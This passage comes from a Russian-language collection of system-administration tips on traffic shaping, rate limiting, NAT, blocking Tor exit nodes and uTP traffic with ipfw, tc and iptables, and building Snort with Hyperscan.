    Распределения трафика будет осуществляться средствами пакетного фильтра ipfw.
    
    Задаем маршруты по умолчанию:
    
        setfib 0 route add default 1.0.1.1 # таблица по умолчанию
        setfib 1 route add default 1.1.1.1 # новая таблица
    
    Файл конфигурации для запуска ipfw:
    
        cmd="/sbin/ipfw"
        $cmd add 10 check-state
        $cmd add 20 prob 0.5 setfib 0 tcp from 192.168.0.0/16 to not 192.168.0.0/16 setup keep-state
        $cmd add 30 setfib 1 tcp from 192.168.0.0/16 to not 192.168.0.0/16 setup keep-state
        $cmd add 40 allow all from any to any
    
    Таким образом мы задаем распределение трафика 50/50. Если каналы не равноценные
    то нужно выставить процентную весомость этих каналов.
    
    Трансляция адресов (NAT).
    
    Под эту задачу я выбрал ipnat, реализацию NAT от фаервола ipf.
    
    пример /etc/ipnat.rules:
    
        map vlan0 192.168.0.0/16 -> 1.0.1.1/32
        map tun0 192.168.0.0/16 -> 1.1.1.1/32
    
    Также можно выбрать демон natd или новый, работающий на уровне ядра, NAT,
    который появился во FreeBSD 7.
    
     
    ----* Скрипт для распределения пропускной способности средствами iproute2 в Linux (доп. ссылка 1)   Автор: Adam Palmer  [комментарии]
     
    Скрипт опробован в Debian Etch с установленными пакетами tc, iproute2 и bc.
    Задача скрипта равномерное распределения пропускной способности канала среди пользователей
    и повышения приоритета dns, ssh, smtp.
    
    SOME_IMPORTANT_IP, SOME_OTHER_IMPORTANT_IP, IMPORTANT_IP - нужно заменить на IP 
    важного сервера во внутренней сети.
    
    
    #!/bin/bash
    EXT_IFACE="eth0"
    INT_IFACE="eth1"
    TC="tc"
    UNITS="kbit"
    LINE="10000" # максимальная фактическая скорость внешнего (ext) линка
    LIMIT="5000" # максимально скорость, которую мы можем допустить
    
    # Переменные определеяющие скорость для индивидуальных классов трафика 
    # для ограничения внутреннего трафика, проходящего через интерфейс eth0;
    CLS1_RATE="200" # гарантировано 200kbit 
    CLS2_RATE="300" # гарантировано 300kbit
    CLS3_RATE="4500" # на всех 4500kbit (низкий приоритет)
    
    # Переменные определеяющие скорость для индивидуальных классов трафика
    # для ограничения трафика, проходящего через внешний интерфейс eth1;
    INT_CLS1_RATE="1000" #Priority
    INT_CLS2_RATE="4000" #Bulk
    
    # Чистим содержимое qdiscs
    ${TC} qdisc del dev ${INT_IFACE} root
    ${TC} qdisc del dev ${EXT_IFACE} root
    
    # Создаем корневые qdiscs, используя HTB, привязываем к интерфейсу и ставим метку "1:0"
    ${TC} qdisc add dev ${INT_IFACE} root handle 1:0 htb
    ${TC} qdisc add dev ${EXT_IFACE} root handle 1:0 htb
    
    # Создаем корневые классы и выставляем максимально-допустимый лимит скорости
    # eth1
    ${TC} class add dev ${INT_IFACE} parent 1:0 classid 1:1 htb rate
    ${LIMIT}${UNITS} ceil ${LIMIT}${UNITS}
    # eth0
    ${TC} class add dev ${EXT_IFACE} parent 1:0 classid 1:1 htb rate
    ${LIMIT}${UNITS} ceil ${LIMIT}${UNITS}
    
    
    # Создаем дочерние классы, маркируем их меткой "1:2", "1:3", в зависимости от лимита, для eth1
    ${TC} class add dev ${INT_IFACE} parent 1:1 classid 1:2 htb rate
    ${INT_CLS1_RATE}${UNITS} ceil ${LIMIT}${UNITS}
    
    ${TC} class add dev ${INT_IFACE} parent 1:1 classid 1:3 htb rate
    ${INT_CLS2_RATE}${UNITS} ceil ${INT_CLS2_RATE}${UNITS}
    
    # Привязываем лимит для eth1 (для ограничения исходящего трафика)
    # Ставим для класса "1:2" гарантированную скорость 200kbit 
    # с возможностью подъема при свободности канала до 5000kbit
    ${TC} class add dev ${EXT_IFACE} parent 1:1 classid 1:2 htb rate
    ${CLS1_RATE}${UNITS} ceil ${LIMIT}${UNITS}
    
    
    # Ставим для класса "1:3" гарантированную скорость 300kbit 
    # с возможностью подъема при свободности канала до 4800kbit (5000kbit - 200kbit
    зарезервированный для 1:2)
    ${TC} class add dev ${EXT_IFACE} parent 1:1 classid 1:3 htb rate \
       ${CLS2_RATE}${UNITS} ceil `echo ${LIMIT}-${CLS1_RATE}|bc`${UNITS}
    
    # Ставим для менее приоритетного класса "1:4" оставшуюся скорость 4500kbit
    (5000kbit - 200kbit - 300kbit)
    ${TC} class add dev ${EXT_IFACE} parent 1:1 classid 1:4 htb rate ${CLS3_RATE}${UNITS} \
       ceil `echo ${LIMIT}-${CLS1_RATE}-${CLS2_RATE}|bc`${UNITS}
    
    # Добавляем pfifo.
    ${TC} qdisc add dev ${INT_IFACE} parent 1:2 handle 12: pfifo limit 10
    ${TC} qdisc add dev ${INT_IFACE} parent 1:3 handle 13: pfifo limit 10
    ${TC} qdisc add dev ${EXT_IFACE} parent 1:2 handle 12: pfifo limit 10
    ${TC} qdisc add dev ${EXT_IFACE} parent 1:3 handle 13: pfifo limit 10
    ${TC} qdisc add dev ${EXT_IFACE} parent 1:4 handle 14: pfifo limit 10
    
    
    ### С классами закончили, создаем правила для адресов в сети
    # INT_IFACE, настраиваем скорость.
    # под dst подразумевается трафик уходящий во внутренний интерфейс eth0, т.е. к локальному IP
    # и определяем скорость загрузки с этих адресов.
    # адрес SOME_IMPORTANT_IP привязываем к классу 1:2
    ${TC} filter add dev ${INT_IFACE} parent 1:0 protocol ip prio 1 u32 match ip
    dst SOME_IMPORTANT_IP/32 flowid 1:2
    ${TC} filter add dev ${INT_IFACE} parent 1:0 protocol ip prio 1 u32 match ip
    dst SOME_OTHER_IMPORTANT_IP/32 flowid 1:2
    # Все остальные адреса привязываем к классу 1:3 и считаем неприоритетными
    ${TC} filter add dev ${INT_IFACE} parent 1:0 protocol ip prio 1 u32 match ip
    dst 0.0.0.0/0 flowid 1:3
    
    
    # EXT_IFACE
    # Устанавливаем повышенный приоритет для  DNS запросов
    ${TC} filter add dev ${EXT_IFACE} parent 1:0 protocol ip prio 1 u32 match ip
    src IMPORTANT_IP/32 match ip sport 53 0xffff flowid 1:2
    # SSH тоже считаем приоритетным
    
    ${TC} filter add dev ${EXT_IFACE} parent 1:0 protocol ip prio 1 u32 match ip
    src IMPORTANT_IP/32 match ip sport 22 0xffff flowid 1:2
    # SMTP отдаем остатки полосы, но приоритет по сравнению с остальным трафиком поднимаем
    ${TC} filter add dev ${EXT_IFACE} parent 1:0 protocol ip prio 1 u32 match ip
    src IMPORTANT_IP/32 match ip sport 25 0xffff flowid 1:3
    # Все остальное - в последнюю очередь, самый низкий приоритет
    ${TC} filter add dev ${EXT_IFACE} parent 1:0 protocol ip prio 1 u32 match ip
    src 0.0.0.0/0 flowid 1:4
    
     
    ----* IFB (аналог IMQ ) - основные команды для управления трафиком   Автор: Andrejs Spunitis  [комментарии]
     
    Считается что IFB идеологически более правильная реализация псевдо-устройства, чем IMQ.
    IFB по умолчанию доступна в дистре Fedora Core 6.
    IMQ требует патчить ядро, по умолчанию не доступна.
    
    Насколько я понял идеологически
       IFB - это скорее для iproute2
       IMQ - iptables
    
    Документация по IFB в исходниках iproute doc/actions/
    или по адресу: http://linux-net.osdl.org/index.php?title=IFB
    
    Отличные картинки с местоположением IMQ:
    http://www.abclinuxu.cz/clanky/site/traffic-shaping-2-imq-a-uvod-do-shapingu
    
    
    # СБРОС ПРАВИЛ  -----------------------------
     tc qdisc del dev eth0 root 
     tc qdisc del dev eth0 ingress
    
     tc qdisc del dev ifb0 root 
     tc qdisc del dev ifb0 ingress
    
     modprobe ifb
     ip link set dev ifb0 up
    
     service iptables restart
    # ------------------------------------------
    
    # IFB включение ----------------------------
     modprobe ifb
     ip link set dev ifb0 up
    # ------------------------------------------
    
    ## ПОЛЕЗНЫЕ КОМАНДЫ-------------------------
     tc -s filter show parent ffff: dev eth0
     tc -s qdisc
     ifconfig ifb0
     tc -s filter show dev ifb0 parent 1:
     tc -s qdisc show dev ifb0 
    
    
    ######################################################
    # ПРИМЕР ограничения входящего трафика 
    # маркировка IPTABLES недоступна
    ######################################################
    
    ### IFB --------------------------------------------------------------
     tc qdisc add dev ifb0 root handle 1: prio 
    
     tc qdisc add dev ifb0 parent 1:1 handle 10: tbf rate 80kbit buffer 1600 limit 3000
     tc qdisc add dev ifb0 parent 1:2 handle 20: tbf rate 160kbit buffer 1600 limit 3000
    
    ## выделили закачку исходников ядра 
    ## wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.6.tar.gz
     tc filter add dev ifb0 parent 1: protocol ip prio 1 u32 match ip src 204.152.191.37/32 flowid 1:1 
    
    ## выделили закачку исходников fedora core 6
    ## wget ftp://ftp.muug.mb.ca/pub/fedora/linux/core/6/i386/iso/FC-6-i386-DVD.iso
     tc filter add dev ifb0 parent 1: protocol ip prio 2 u32 match ip src 130.179.31.46/32 flowid 1:2 
    
    
    ### eth0 --------------------------------------------------------------
     # перенаправлять входящие пакеты с eth0 в ifb0 
     tc qdisc add dev eth0 ingress
     tc filter add dev eth0 parent ffff: protocol ip \
      u32 match u32 0 0 action mirred egress redirect dev ifb0
    
    ## TESTING -------------------------------------------------------------
    оцените скорость и т.д. 
    wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.6.tar.gz
    
    ######################################################
    # ПРИМЕР ограничения исходящего трафика 
    # маркировка IPTABLES доступна но
    # filter работает на уровне iproute2 match ip dst
    ######################################################
    
    Выполните СБРОС ПРАВИЛ и включите IFB (если выкл.)
    
    ### IFB --------------------------------------------------------------
     tc qdisc add dev ifb0 root handle 1: prio
     tc qdisc add dev ifb0 parent 1:1 handle 10: tbf rate 80kbit buffer 1600 limit 3000
     tc qdisc add dev ifb0 parent 1:2 handle 20: tbf rate 160kbit buffer 1600 limit 3000
    
     # закачка большого файла с хх.хх.хх.хх
     tc filter add dev ifb0 parent 1: protocol ip prio 2 u32 match ip dst  хх.хх.хх.хх/32 flowid 1:2 
    
    ### eth0 --------------------------------------------------------------
     # перенаправлять выходящие пакеты с eth0 в ifb0 
     tc qdisc add dev eth0 root handle 2: prio
     tc filter add dev eth0 parent 2: protocol ip \
          u32 match u32 0 0 action mirred egress redirect dev ifb0
    
    ## TESTING -------------------------------------------------------------
    закачивайте большой файла на хх.хх.хх.хх оцените скорость и т.д. 
     tc -s filter show parent ffff: dev eth0
     tc -s qdisc
     ifconfig ifb0
     tc -s filter show dev ifb0 parent 1:
     tc -s qdisc show dev ifb0 
    
    ######################################################
    # ПРИМЕР ограничения исходящего трафика 
    # маркировка IPTABLES доступна
    # filter работает на уровне маркировке пакетов в IPTABLES
    ######################################################
    
     Выполните СБРОС ПРАВИЛ и включите IFB (если выкл.)
    
    ### IFB --------------------------------------------------------------
     tc qdisc add dev ifb0 root handle 1: prio
    
     tc qdisc add dev ifb0 parent 1:1 handle 10: tbf rate 80kbit buffer 1600 limit 3000
     tc qdisc add dev ifb0 parent 1:2 handle 20: tbf rate 160kbit buffer 1600 limit 3000
    
     tc filter add dev ifb0 parent 1:0 prio 0 protocol ip handle 10 fw flowid 1:1
     tc filter add dev ifb0 parent 1:0 prio 0 protocol ip handle 20 fw flowid 1:2
    
    ### eth0 --------------------------------------------------------------
     # перенаправлять выходящие пакеты с eth0 в ifb0 
     tc qdisc add dev eth0 root handle 2: prio
     tc filter add dev eth0 parent 2: protocol ip \
          u32 match u32 0 0 action mirred egress redirect dev ifb0
    
     tc qdisc add dev eth0 root handle 2: prio
     tc filter add dev eth0 parent 2: protocol ip \
       u32 match u32 0 0 action mirred egress redirect dev ifb0
    
    # поставить в IPTABLES метку  
     iptables -t mangle -A OUTPUT -p tcp -d 85.254.228.6/32 -j MARK --set-mark 10 
    
    ## TESTING -------------------------------------------------------------
    закачивайте большой файла на хх.хх.хх.хх оцените скорость и т.д. 
    
     
    ----* Расчет размера очереди для pipe с заданной пропускной способностью (доп. ссылка 1)   [комментарии]
     
    > Работает шейпер на dummynet, наблюдается некотороая потеря
    > траффика. Hавскидку проблема в дефолтных значениях размера очереди (50 пакетов)
    > для pipe'ов от 32 до 512 Кбит\с. Скорее всего, поток не влезает в очередь и
    > часть пакетов отбрасывается. Как правильно рассчитать размер очереди для
    > каждого pipe в отдельности? 
    
    Eugene Grosbein:
    
    Pipe и должен отбрасывать пакеты, иначе какой же это шейпер?
    Ты не можешь увеличивать длину очереди бесконечно, потому что задержки
    вырастут настолько, что соединение начнет рвать сам юзер :-)
    
    Hа таких низких скоростях размер очереди надо бы, наоборот, уменьшать,
    чтобы не допустить гигантских задержек типа нескольких тысяч милисекунд.
    
    А если хочешь и рыбку съесть, и потерь иметь минимум, то читай-ка ты
    про RED/GRED на unixfaq.ru и делай не просто pipe, а queue/pipe с gred.
    Рекомендую делать w_q=0.002, max_p=0.1, min=q/10, max=3*min,
    где q - длина очереди, q=20 для скоростей меньше 100Kbit/s,
    q=30 для скоростей от 100 до 300Kbit/s и q=50 для скоростей 512Kbit/s и выше.
    
    ----------
    Sergey A Yakovets:
    
    Пол-дня игрался с параметром queue. В итоге подобрал на первый взгляд
    кое-что подходящее. Алгоритм\мысли были следующие:
    
    Дано: асинхронный спутниковый Инет. Входящий канал - 1024 Кбит\с.
    
    Опытным путем установлено, что проблемы с потерей траффика (до 10% от
    общего объема) возникают при многопотоковых http\ftp закачках, т.к. спутниковый
    провайдер в этом случае может отдать поток на все 1024 Кбит\с. При серфинге все
    нормально. Исходя из этого, мною были сделаны некоторые расчеты:
    
    При максимальной пропускной способности входящего спутникового канала
    в 1024 Кбит\с и размере пакета в 1500 байт, пропускная способность канала
    равна ~ 87 пакетов\сек. В это же время, для канала в 128 Кбит\с пропускная
    способность равна ~ 11 пакетов\сек. Гипотетическая разница, при условии что на
    юзера будет идти поток в 1024 Кбит\с, а отдаваться только 128 Кбит\с, может
    составить 76 пакетов\сек.
    
    Итого, опытным путем установлено:
    
        - (было) при дефолтной очереди в 50 пакетов на pipe 128 Кбит\с потери 10%
        - при размере очереди = разница*2 = 150 пакетов потери 2%
        - (стало) при размере очереди = разница*3 = 230 пакетов потери 0%
    
    Серфинг не страдает, задержек нет. Закачка идет на скорости шейпера, потерь нет.
    
    Пробовал другой вариант.
    Hа pipe 128 Кбит\с было выставлено gred 0.002/3/6/0.1 В итоге - огромные
    потери, т.к. канал практически все время работал на скорости пакетов намного
    больше чем max_th*2. Изменение параметров до gred 0.002/50/150/0.1 не влияло на
    результат, т.к. дефолтный размер очереди в 50 пакетов часто переполнялся и gred
    не имел никакого действия. 
    ---------
    
    Что такое алгоритмы RED и gentle RED у ipfw?
    http://unixfaq.ru/index.pl?req=qs&id=310
    
    Ответ на этот вопрос скомпилирован из статей в конференции RU.UNIX.BSD от следующих авторов: 
    Valentin Ermolaev, Alexander V. Naumochkin, Jen Linkova.
    
    Сокращение RED означает "Random Early Detection". Метод используется для
    выравнивания всплесков трафика.
    
    Основным критерием метода является так называемая перегрузка.
    
    В качестве показателя перегрузки avg используется вычисляемое среднее значение
    длины очереди пакетов,
    принадлежащей к определенной сессии TCP. Использование усредненного,
     а не мгновенного значения очереди позволяет отделить кратковременные перегрузки, 
    которые могут быть нормально обработаны устройством и сетью, от длительных перегрузок, 
    которые могут утопить сеть.
    
    Алгоритмически это выглядит так:
    
    В момент прихода пакета
    ; ; if (очередь не пуста)
    ; ; ; ; avg = (1 - w_q)*avg + w_q*q
    ; ; else
    ; ; ; ; m = f(time - q_time)
    ; ; ; ; avg = (1 - w_q)^m * avg;
    
    где
    
    avg -средний размер очереди
    q_time - "start of queue idle time"
    q - размер очереди
    
    w_q - вес очереди (фиксированный параметр)
    
    f() - линейная функий от времени
    
    В /usr/src/sys/netinet/ip_dummynet.c по этому поводу написано следующее:
    
    * RED algorithm
    *
    * RED calculates the average queue size (avg) using a low-pass filter
    * with an exponential weighted (w_q) moving average:
    * avg <- (1-w_q) * avg + w_q * q_size
    * where q_size is the queue length (measured in bytes or * packets).
    *
    * If q_size == 0, we compute the idle time for the link, and set
    * avg = (1 - w_q)^(idle/s)
    * where s is the time needed for transmitting a medium-sized packet.
    
    - что полностью согласуется с приведенными выше формулами.
    
    Далее в алгоритме вводятся два порога уровня перегрузки: min_th и max_th. 
    Когда уровень перегрузки ниже первого порога min_th, то пакеты не отбрасываются. 
    Если уровень перегрузки находится между двумя порогами, пакеты отбрасываются с линейно 
    возврастающей вероятностью из диапазона от 0 до конфигурируемой величины max_p, 
    которая достигается при достижении второго порога max_th. Выше порога max_th 
    отбрасываются все пакеты.
    
    Такой метод вычисления позволяет сглаживать всплески трафика - для сравнения в
    первой из статей (см. ниже)
    на одном графике приводятся и изменение размера очереди q, и усредненного размера 
    очереди (avg) от времени. В той же статье есть выкладки на тему значений w_q.
    
    При gentle RED ситуация выглядит чуть сложнее:
    
    Если перегрузки лежит в интервале от min_th до max_th, то пакеты отбрасываются с линейно 
    возрастающей от 0 до max_p вероятностью. Когда перегрузка превышает max_th, 
    но не превышет 2*max_th, пакеты отбрасываются не все (как в случае RED), а с линейно возрастающей 
    от max_p до 1 вероятностью. Все пакеты отбрасываются только после превышения
    перегрузки канала значения 2*max_th.
    
    Вот как это сделано в ip_dummynet.c:
    
    если длина очереди > max_th, то в случае gred вероятность 
    отбрасывания пакета вычисляется как
    
    ; ; p_b = c_3 * avg - c_4
    где c_3 = (1 - max_p) / max_th
    ; ; c_4 = 1 - 2 * max_p
    
    В случае просто RED пакет отбрасывается.
    
    При загрузке очереди, большей min_th, но меньшей max_th, функция
    вероятности одинакова и выглядит след. образом:
    
    ; ; p_b = c_1 *avg - c_2
    где c_1 = max_p / (max_th - min_th),
    ; ; c_2 = max_p * min_th / (max_th - min_th)
    
    Полезные ссылки:
    
       1. http://www.icir.org/floyd/papers/red/red.html
       2. http://www.icir.org/floyd/red.html
       3. http://www.cisco.com/warp/public/732/Tech/red/
    
     
    ----* Ограничение входящей и исходящей скорости (shaping) для клиентов на ppp интерфейсах.   Автор: Tangar aka Андрей Орлов  [комментарии]
     
    Ограничение входящей и исходящей скорости (shaping) для клиентов на ppp интерфейсах.
    
       #!/bin/bash
       DEVICE=ppp9 UP=512 DOWN=512
    
       /sbin/tc qdisc del dev $DEVICE root
       /sbin/tc qdisc add dev $DEVICE root tbf rate ${DOWN}Kbit latency 50ms burst $[$DOWN*1024]
    
       /sbin/tc qdisc del dev $DEVICE handle ffff: ingress
       /sbin/tc qdisc add dev $DEVICE handle ffff: ingress
       /sbin/tc filter add dev $DEVICE parent ffff: protocol ip prio 50 u32 match ip src 0.0.0.0/0 \
          police rate ${UP}Kbit burst $[$DOWN*1024] drop flowid :1
    
     
    ----* Ограничение трафика через iptables (доп. ссылка 1)   Автор: Николай Малых  [комментарии]
     
    ipt_limit - общее ограничение по срабатываний правила
         -m limit --limit {avg}/[second|minute|hour|day] --limit-burst {burst}
    
    iplimit - ограничение соединений для одного IP.
        Ограничение коннектов к 80 порту от одного IP:
             iptables -A INPUT -p tcp --syn --dport http -m iplimit --iplimit-above 4 -j REJECT
        Тоже, но для запросов с одной /24 подсети:
             iptables -A INPUT -p tcp --syn --dport http -m iplimit --iplimit-mask 8 --iplimit-above 4 -j REJECT
    
    hashlimit - для каждого IP в хэше хранятся параметры соединений;
        -m hashlimit --hashlimit {avg} --hashlimit-burst {burst} --hashlimit-mode {режим: dstip, dstport, srcip, srcport} \
           --hashlimit-name {name} --hashlimit-htable-max {num} --hashlimit-htable-expire {num} --hashlimit-htable-gcinterval {num}
    
        iptables -A INPUT -p tcp -m tcp --dport 22 -m state --state NEW -m hashlimit --hashlimit 1/hour \
           --hashlimit-burst 2 --hashlimit-mode srcip --hashlimit-name SSH --hashlimit-htable-expire 360000 -j ACCEPT
    
    tbf (http://www.nmalykh.org/work/tbf.tar.gz) - продолжение развития limit и hashlimit c поддержкой 
    возможности инверсии правил в целом.
    
        iptables -A INPUT -p tcp -m tcp --dport 22 -m state --state NEW -m tbf ! -- tbf 1/s --tbf-burst 
           --tbf-mode srcip --tbf-name SMTP  -j DROP
    
     
    ----* Как ограничить пропускную полосу для пакетов помеченных меткой через MARK.   Автор: Denis Fedorishenko (NuclearCat)  [комментарии]
     
    Сделать MARK, и загнать все такие трансферы в какой-либо класс шейпера. 
    Т.е. если например помеченные пакеты - все их отнести к классу 1:51 где
    скорость ограничена от 32К до 64К:
      tc filter add dev eth1 parent 1:0 protocol ip prio 100 handle 51 fw classid 1:51
      tc class add dev eth1 parent 1:2 classid 1:51 htb rate 32Kbit ceil 64Kbit
      tc qdisc add dev eth1 parent 1:51 handle 51 sfq perturb 10
    
     
    ----* Ограничения трафика с помощью iproute2 (доп. ссылка 1)   Автор: Z0termaNN  [комментарии]
     
    tc qdisc add dev eth1 root handle 1: htb default 2 r2q 1
    tc class add dev eth1 parent 1: classid 1:1 htb rate 10mbit ceil 10mbit mtu 1500
    tc class add dev eth1 parent 1:1 classid 1:77 htb rate 32kbit ceil 48kbit mtu 1500 prio 0
    tc class add dev eth1 parent 1:1 classid 1:2  htb rate 128kbit ceil 128kbit mtu 1500
    tc filter add dev eth1 protocol ip parent 1:0 prio 1 u32 match ip dport 25 flowid 1:77
    
     
    ----* Пример ограничения полосы пропускания трафика в FreeBSD   [комментарии]
     
    Собираем ядро с опциями:
       options         DUMMYNET
       options         IPFIREWALL
    Ограничиваем трафик для сеток 1.1.1.0/24 и 3.3.3.0/24 на 14000 кбит/с:
       ipfw add pipe 50 tcp from any to 1.1.1.0/24 via fxp0
       ipfw add pipe 50 tcp from any to 3.3.3.0/24 via fxp0
       ipfw pipe 50 config bw 14Kbit/s
    Для внесения задержки на N ms, используйте delay N после config.
    Для установки веса данного пайпа по отношению к другим пайпам используйте weight вес.
    Для WF2Q ограничения трафика используйте ipfw queue
    (queue N config [pipe pipe_nr] [weight weight] [queue {slots | size})
    PS (комментарий от gara@mail.ru):
     Если возникает необходимость организовать "канал" для каждого пользователя из данной сети то пишем:
    ipfw pipe 10 config mask dst-ip 0x000000ff bw 1024bit/s  queue
    ipfw add pipe 10 tcp from any to 1.1.1.0/24 via fxp0
    Теперь каждый хост из сети 1.1.1.0/24 имеет свой канал 1024bit/s
    
     
    ----* Как запретить открывать более 30 соединений с одного IP   [комментарии]
     
    Запретим более 30 коннектов для 80 порта сервера 1.2.3.4.
        ipfw add allow tcp from any to 1.2.3.4 80 limit src-addr 30
        ipfw add allow tcp from any to 1.2.3.4 80 via fxp0 setup limit src-addr 10
    Вместо src-addr можно использовать src-port, dst-addr, dst-port
    Конструкция работает в последних версиях FreeBSD 4.x ветки.
    
     
    ----* Ограничение трафика через iptables (доп. ссылка 1)   Автор: Z0termaNN  [комментарии]
     
    iptables --new-chain car
    iptables --insert OUTPUT 1 -p tcp --destination-port 25 -o eth1 --jump car
    iptables --append car -m limit --limit 20/sec --jump RETURN
    iptables --append car --jump DROP
    
     

       Пакетные фильтры и фаерволы
    Пакетные фильтры в Linux: iptables, ipchains
    Пакетный фильтр в FreeBSD: ipfw, IP-Filter

    ----* Как заблокировать вход пользователей, работающих через сеть Tor   [комментарии]
     
    Список точек выхода сети Tor, с которых инициируются исходящие соединения,
    можно загрузить на официальном сайте проекта Tor:
    
       https://check.torproject.org/cgi-bin/TorBulkExitList.py
    
    или используя неофициальные архивы:
    
       http://torstatus.info/ip_list_all.php/Tor_ip_list_ALL.csv
       https://www.dan.me.uk/torlist/
    
    
    По указанным адресам выдаются списки IP-адресов, которые можно использовать для
    блокирования межсетевым экраном/HTTP-сервером или привязки метки через модуль geo_ip.
    
    Пример блокирования через ipfw:
    
       ipfw table 1 flush 
       curl https://check.torproject.org/cgi-bin/TorBulkExitList.py?ip=8.8.8.8 | grep -v "^#" | while read cnt ip; do
          /sbin/ipfw table 1 add $ip 1
       done
       ipfw add deny all from "table(1)" to any via em1
    
    Для выставления флага через модуль ngx_http_geo_module в nginx:
    
       curl https://check.torproject.org/cgi-bin/TorBulkExitList.py?ip=8.8.8.8 | 
          grep -v "^#" |  sed 's/$/ tor;/' > /usr/local/etc/nginx/tor.conf 
    
    в nginx.conf:
    
       geo  $country  {
    	include          /usr/local/etc/nginx/tor.conf
       }
    
    далее для блокировки можно добавить проверку:
       if ($country = 'tor') {
    	...
       }
    
     
    ----* Решение проблемы с uTP-протоколом uTorrent (доп. ссылка 1)   Автор: Zzz  [комментарии]
     
    По многочисленным наблюдениям системных администраторов различных компаний
    предоставляющих доступ к сети интернет, с начала февраля 2010 года наблюдается
    ежедневный лавинообразный рост количества пакетов в сети, их фрагментация, а
    также существенный рост исходящего трафика. Данная проблема связана с новой
    версией торрент-клиента uTorrent вышедшего 3 февраля 2010 года с поддержкой
    протокола uTP, работающего поверх UDP. Призванный снизить нагрузку на
    провайдеров протокол uTP в результате привел к обратному эффекту.
    
    Для относительно безболезненной для клиента фильтрации uTP на шлюзе под
    управлением Linux рекомендуется использовать следующее правило:
    
       /sbin/iptables -I FORWARD -m udp -p udp -m string --hex-string "|7F FF FF FF AB|" --algo kmp \
          --from 40 --to 44 -m statictic --mode random --probability 0.90 -j DROP
    
    Мониторинг работы правила:
    
       iptables -L FORWARD -nv | grep statist
    
    Для FreeBSD правило будет выглядеть следующим образом:
    
       ngctl mkpeer ipfw: bpf 2 main
       ngctl name ipfw:2 utp_filter
       ngctl msg utp_filter: setprogram { thisHook=\"main\" ifMatch=\"\" ifNotMatch=\"main\" bpf_prog_len=12 bpf_prog=[ 
          { code=48 jt=0 jf=0 k=0 } { code=84 jt=0 jf=0 k=240 } { code=21 jt=0 jf=8 k=64 } { code=48 jt=0 jf=0 k=9 } 
          { code=21 jt=0 jf=6 k=17 } { code=40 jt=0 jf=0 k=6 } { code=69 jt=4 jf=0 k=8191 } { code=177 jt=0 jf=0 k=0 } 
          { code=64 jt=0 jf=0 k=20 } { code=21 jt=0 jf=1 k=2147483647 } { code=6 jt=0 jf=0 k=65535 } { code=6 jt=0 jf=0 k=0 } ] }
    
       ipfw add 2 netgraph 2 udp from any to any iplen 0-128
    
    Мониторинг:
    
       ngctl msg utp_filter: getstats \"main\"
    
     
    ----* Ускорение анализатора сетевого трафика Snort при помощи библиотеки Hyperscan (доп. ссылка 1)   Автор: Владимир Кунщиков  [комментарии]
     
    Осенью прошлого года компания Intel открыла исходные тексты библиотеки
    поиска совпадений для регулярных выражений Hyperscan, обеспечивающей ускорение
    DPI-приложений за счёт
    использования SIMD compiler intrinsics.
    
    Использование новых наборов инструкций позволяет добиться значительного
    прироста производительности в самом узком месте анализаторов трафика: в поиске
    совпадений по образцу.
    
    Snort - самое известное DPI-приложение с открытым кодом - получил поддержку
    Hyperscan только в начале этого лета. Представленный патч предназначен для
    версии Snort 2.9.8.2 но без проблем накладывается на 2.9.8.3 и может быть
    портирован и на предыдущие релизы.
    
    Сборка
    
    Для сборки Hyperscan сборочное окружение должно содержать
    Boost и компилятор ragel.  В
    библиотеке используется система сборки cmake. Сложности, если можно их назвать
    сложностями, вызывает только Boost: данной версии
    всё ещё нет в большинстве дистрибутивов на момент июня 2016, поэтому скорее
    всего придётся собираться локально. Собрать буст  несложно и весь процесс не
    очень длителен. Что касается ragel и cmake, то они уже имеются в пакетных
    репозитариях Gentoo, Ubuntu, CentOS в достаточно свежих версиях.
    
    
  • Boost
  • Ragel
  • Hyperscan
  • Snort Boost Нужен Boost выше 1.57. В наиболее ожидаемом случае, если версия буста в используемом дистрибутиве ниже, то надо будет установить более свежую копию. Для этого надо скачать актуальную версию и установить её локально. tar xf ~/tmp/boost_1_61_0.tar.bz2 cd boost_1_61_0 ./bootstrap.sh -prefix=$HOME/opt/boost/ ./b2 --ignore-site-config install --ignore-site-config требуется для устранения потенциальных конфликтов с системной версией Boost: игнорирование текущих настроек при сборке локальной версии буста в домашней директории пользователя. Ragel Далее нужен ragel, этот компилятор доступен в стандартных репозитариях всех распространённых дистрибутивов. Поэтому инсталляция проста: emerge ragel или же apt-get install ragel, yum install ragel итп итд HyperScan Сборка библиотеки стандартна для проектов использующих cmake: tar xf ~/tmp/hyperscan-4.2.0.tar.gz cd hyperscan-4.2.0/ mkdir build cd build cmake .. -DBOOST_ROOT=$HOME/opt/boost/ -DCMAKE_INSTALL_PREFIX=$HOME/opt/hp make install Предполагается, что будет использован локальный буст, установленный в $HOME/opt/boost. Все переменные сборки можно проверить и перезадать при помощи "ccmake ." или же через аргументы cmake. В случае использования системного буста указывать -DBOOST_ROOT не следует. Snort Подходит кодовая база Snort любой из 2.9.8.* версий: 2.9.8.0, 2.9.8.2. В статье используется последний стабильный релиз: 2.9.8.3. Добавление поддержки HyperScan производится патчем версии v1: https://01.org/sites/default/files/downloads/hyperscan/snort-2982-hyperscan-v1.tar_0.gz распаковываем исходники Snort: tar xf ~/tmp/snort-2.9.8.3.tar.gz cd snort-2.9.8.3/ накладываем патч: tar xf ~/tmp/snort-2982-hyperscan-v1.tar_0.gz gunzip -c snort-2982-hyperscan-v1/snort-2982-hyperscan-v1.patch.gz| patch -p2 На всех трёх доступных мне машинах с CentOS, Gentoo, Ubuntu этого было недостаточно для сборки: при линковке snort возникали ошибки вида /opt/hp/lib/libhs.a(mpvcompile.cpp.o): In function 'operator--': /usr/include/c++/4.8/bits/stl_tree.h:204: undefined reference to 'std::_Rb_tree_decrement(std::_Rb_tree_node_base*)' /opt/hp/lib/libhs.a(mpvcompile.cpp.o): In function '__gnu_cxx::new_allocator<ue2::raw_puff>::deallocate(ue2::raw_puff*, unsigned long)': /usr/include/c++/4.8/ext/new_allocator.h:110: undefined reference to `operator delete(void*)' требуется добавление -lstdc++ к списку библиотек в configure.in. Поэтому открываем любимым редактором файл configure.in, ищем в нём строчку, где задаётся "-lhs" и заменяем на "-lhs -lstdc++": - LIBS="${LIBS} -lhs" + LIBS="${LIBS} -lhs -lstdc++" Собираем Snort: autoreconf -fi ./configure --enable-intel-hyperscan --with-intel-hyperscan-includes=$HOME/opt/hp/include/hs --with-intel-hyperscan-libraries=$HOME/opt/hp/lib --prefix=$HOME/usr/opt298hp make install Настройка Собранный таким образом снорт 